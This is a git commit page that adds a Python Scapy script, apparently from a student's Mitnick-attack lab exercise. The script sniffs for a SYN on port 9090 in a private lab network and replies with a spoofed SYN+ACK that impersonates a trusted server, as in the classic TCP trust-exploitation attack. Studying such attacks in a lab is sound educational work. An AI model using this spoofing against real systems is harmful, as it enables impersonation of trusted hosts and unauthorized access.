tcp and mitnick lab finished
This commit is contained in:
25
Mitnick/Labsetup/volumes/mitnick_task2_2.py
Executable file
25
Mitnick/Labsetup/volumes/mitnick_task2_2.py
Executable file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/python3
|
||||
from scapy.all import *
|
||||
|
||||
# IP Addresses
|
||||
X_IP = "10.9.0.5"
|
||||
SRV_IP = "10.9.0.6"
|
||||
|
||||
# Ports
|
||||
SECOND_PORT = 9090
|
||||
|
||||
def spoof_second_connection(pkt):
|
||||
if pkt[TCP].flags == "S" and pkt[IP].dst == SRV_IP and pkt[TCP].dport == SECOND_PORT:
|
||||
print(f"Received SYN for second connection from X-Terminal (Seq: {pkt[TCP].seq})")
|
||||
|
||||
# Send SYN+ACK
|
||||
my_seq = 0x87654321
|
||||
ip = IP(src=SRV_IP, dst=X_IP)
|
||||
tcp = TCP(sport=SECOND_PORT, dport=pkt[TCP].sport, flags="SA",
|
||||
seq=my_seq, ack=pkt[TCP].seq + 1)
|
||||
print("Sending spoofed SYN+ACK for second connection")
|
||||
send(ip/tcp, verbose=0)
|
||||
|
||||
print(f"Waiting for second connection on port {SECOND_PORT}...")
|
||||
sniff(iface="br-63cae30f0395", filter=f"tcp and src host {X_IP} and dst port {SECOND_PORT}",
|
||||
prn=spoof_second_connection, count=1, timeout=20)
|
||||
Reference in New Issue
Block a user